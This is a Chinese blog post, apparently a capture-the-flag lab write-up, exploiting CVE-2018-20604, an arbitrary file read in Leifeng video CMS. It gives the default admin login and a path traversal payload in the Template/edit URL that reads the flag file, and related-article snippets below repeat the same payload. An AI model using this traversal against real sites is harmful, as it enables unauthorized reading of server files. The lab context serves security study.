[春秋云镜]CVE-2018-20604

已于 2022-12-03 21:19:03 修改
阅读量5.3k 收藏 1
点赞数
分类专栏： 春秋云镜 靶场 文章标签： 安全 web安全
于 2022-12-02 19:21:09 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/niubi707/article/details/128153218
版权

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

靶场介绍

雷风影视CMS是一款采用PHP基于THINKPHP3.2.3框架开发，适合各类视频、影视网站的影视内容管理程序，该CMS存在缺陷，可以通过 admin.php?s=/Template/edit/path/*web*..*..*..*..*1.txt 的方式读取任意文件。

春秋云镜开启靶场：
http://eci-2zebxdyfuuxg0rzv2jj6.cloudeci1.ichunqiu.com/

登录后台

http://eci-2zebxdyfuuxg0rzv2jj6.cloudeci1.ichunqiu.com/admin.php?s=/Public/login.html

账号admin  密码admin

payload：

/Template/edit/path/*web*..*..*..*..*..*..*flag

http://eci-2zebxdyfuuxg0rzv2jj6.cloudeci1.ichunqiu.com/admin.php?s=/Template/edit/path/*web*..*..*..*..*..*..*flag

春天11-
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
界面优化好看的雷风影视CMS V3.9.1 电影视频网站源码
01-24
界面优化好看的雷风影视CMS V3.9.1 电影视频网站源码 演示地址：http://www.sck56.cn/38/qq517/
雷风影视系统php版
12-18
程序全部开源绝不加密任何代码 容许再次开发和开发插件 请将再次开发的产品和插件遵守开源协议 与大家分享 程序介绍 采用S/B三层结构编写逻辑更清晰维护更简单,页面显示更快,执行效率更高 栏目自由分类 地区添加修改 独特的专题栏目 可生成HTML与动态切换 方便快速的一键生成 生成进度的显示 逻辑清晰管理更方便 系统集成主流播放器 Qvod 17bobo 迅雷 youku 土豆 56 新浪视频 QQ视频 sohu视频 6间房 Flv 流媒体等播放器 后台自由的播放器设置 强大的播前广告 幻灯随意修改添加 方便的友情连接管理 风格模板标签编辑 强大的模板功能 简单的模板标签 丰富多彩的联盟影库系统 支持用户发片到联盟 将雷锋精神发扬到底 多彩的流量联盟 有流量交换联盟和搜索交换联盟 为您提供更多的流量 绝对的公正，公平，公开 一切以人为本 雷厉风行 具体细节内容请自行安装体验
春秋云镜 CVE-2018-2894
qq_22002773的博客
08-31 387
春秋云镜 CVE-2018-2894
春秋云镜 CVE-2018-20604
qq_22002773的博客
09-01 204
春秋云镜 CVE-2018-20604
雷风影视CMS任意文件读取漏洞（CVE-2018-20604）
qq_23003811的博客
07-24 191
雷风影视CMS是一款采用PHP基于THINKPHP3.2.3框架开发，适合各类视频、影视网站的影视内容管理程序，该CMS存在缺陷，可以通过 admin.php?s=/Template/edit/path/*web*..*..*..*..*1.txt 的方式读取任意文件。1、登录后台，账号密码admin/admin。雷风影视CMS<= 3.8.6。2、访问payload。
春秋云境CVE-2018-20604
2303_76653367的博客
05-22 430
雷风影视CMS是一款采用PHP基于THINKPHP3.2.3框架开发，适合各类视频、影视网站的影视内容管理程序，该CMS存在缺陷，可以通过 admin.php?s=/Template/edit/path/*web*..*..*..*..*1.txt 的方式读取任意文件。
春秋云境 CVE-2022-4230 夺旗
05-02
### 春秋云境 CVE-2022-4230 夺旗知识点解析 #### 一、漏洞概述 **CVE-2022-4230** 是一个存在于 **WP Statistics** WordPress 插件（版本13.2.9及以前）中的安全漏洞。该漏洞的主要原因是插件在处理特定参数时...
春秋云镜CVE-2022-0543
09-04
根据提供的引用内容，春秋云镜CVE-2022-0543指的是Apache Spark的命令注入漏洞（CVE-2022-33891）。这个漏洞影响的版本包括Apache Spark version 3.1.1和Apache Spark version >= 3.3.0。 官方建议升级到安全版本来...
春秋云镜CVE-2022-30887
09-05
春秋云镜CVE-2022-30887是指Pharmacy Management System文件上传漏洞，该漏洞的CVE编号为CVE-2022-30887。此漏洞可能允许攻击者通过上传恶意文件利用系统中的漏洞。请注意，由于未提供更多信息，我无法提供详细的...
thinkphp3.2.3后台登录
04-23
采用thinkphp3.2.3实现的后台登录功能，适合新手学习，大牛就不要下了
雷风影视CMS v3.8.5
08-14
LFCMS是一款采用PHP开发，基于THINKPHP框架开发适合各类视频、影视网站的影视内容管理。程序具有良好的用户体验，适合美工人员快速建立站点，您也可以根据您的需要进行应用扩展来达到更加强大功能。 您可以在遵循协议的情况下完全免费的使用我们的程序。 环境要求： Linux + Apache + Mysql + PHP 部份功能展示： 1、前台模板自适应（PC、手机、平板自动适应） 2、UCenter用户对接（对接dz论坛等） 3、设置收费功能 4、搜索联想功能 5、用户积分，积分商城（观看影片赚积分，分享地址赚积分，积分兑换奖品） 6、影片收藏(可设置私密收藏) 7、影片评分功能 8、影片分享功能 9、影片人气功能 10、影片顶踩功能 11、影片评论功能（系统自带、有言、畅言）一键切换 12、影片剧集分集介绍功能 13、影片自定义播放器功能 14、影片收费功能 15、用户充值 16、影片自带24小时不间断更新聚合资源库，第一时间更新 17、支持影片频道页聚合 18、支持影片列表页展示（可支持ajax无刷新加载） 19、支持影片多条件筛选 21、文章影讯频道功能 22、后台一键API采集上万部影片 23、后台智能添加更改广告 24、运行速度快、性能高（支持生成静态网页、支持memcache缓存、文件缓存） 25、可定时采集（“懒站人”的最佳选择） 26、自定义导航菜单 27、首页轮播系统 28、友情链接管理系统 29、数据库备份还原系统 30、数据库管理系统 31、模板在线管理功能 32、前台模板标签自定义数据调用 33、海量模板下载 更新日志： v3.8.5 1.修改影片添加地址按钮颜色 2.修改vip提示错误 3.修复手机模版充值记录错误 4.修复收藏影片地址错误 5.修复登录后再次登录不跳转错误 6.增加模版市场 7.增加插件市场 8.修复在线升级 更新日志： v3.7.0 1.修复评论管理默认头像问题 2.修复QQ登录插件 3.增加留言插件 4.修复注册后跳转问题 5.发送邮箱设置增加更多参数以适应QQ等邮箱对接的变更 更新日志： v3.6.0 1.修改配置页面增加说明 2.视频管理增加批量修改影片播放器 3.用户管理增加积分修改 4.修复插件回调问题 更新日志： v3.5.0 1.修复资源站xml不规范导致的错误 2.修复资源站不稳定导致采集中断 3.修复推广连接需要登录错误 4.修复QQ登录插件回调地址？号错误 5.修复采集入库的时候同名类似演员的影片无法更新
雷风影视cms 3.9.1
12-21
LFCMS是一款采用PHP开发，基于THINKPHP框架开发适合各类视频、影视网站的影视内容管理。程序具有良好的用户体验，适合美工人员快速建立站点，您也可以根据您的需要进行应用扩展来达到更加强大功能。 您可以在遵循协议的情况下完全免费的使用我们的程序。
雷风影视CMS 3.8.6.zip
05-23
雷风影视CMS是一款采用PHP基于THINKPHP3.2.3框架开发，适合各类视频、影视网站的影视内容管理程序，具有良好的用户体验，适合美工人员快速建立站点，您也可以根据您的需要进行应用扩展来达到更加强大功能，您可以在遵循协议的情况下完全免费的使用我们的程序。雷风影视CMS 3.8.6 更新日志：2018-08-191.修改影片添加地址按钮颜色；2.增加影片采集更新数据选取功能；3.新增更多插件。
雷风视频影视CMS主题雷风电影网站源码.zip
10-05
仅供学习交流使用，不提供技术支持
春秋云镜CVE-2022-24112
最新发布
08-21
春秋云镜的CVE-2022-24112是一个安全漏洞的编号，全称为“Cross-Site Scripting (XSS)”，它通常发生在网站存在输入验证不足的情况下。攻击者通过恶意脚本注入到用户的请求中，当这些脚本被服务器作为有效内容返回给...
春秋云镜CVE-2023-38836
06-15
很抱歉，由于安全性和隐私保护原则，我无法提供详细的CVE（Common Vulnerabilities and Exposures）报告或漏洞分析，尤其是对于特定的漏洞如春秋云镜的CVE-2023-38836。CVE是一个由美国国家网络安全中心维护的系统，...
基于CVE-2018-20250的漏洞的漏洞分析与APT-C-27(黄金鼠)攻击文档分析
kernweak的博客
04-25 1116
样本概况 样本信息 文件名： 3a6cc90db63a6d09721886b6e3f795e32f355d42e8faef560349ec068a9435f1.rar Size: 185528 bytes Modified: 2020年4月24日, 12:27:20 MD5: 314E8105F28530EB0BF54891B9B3FF69 SHA1: 8C9B88EE829B880...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值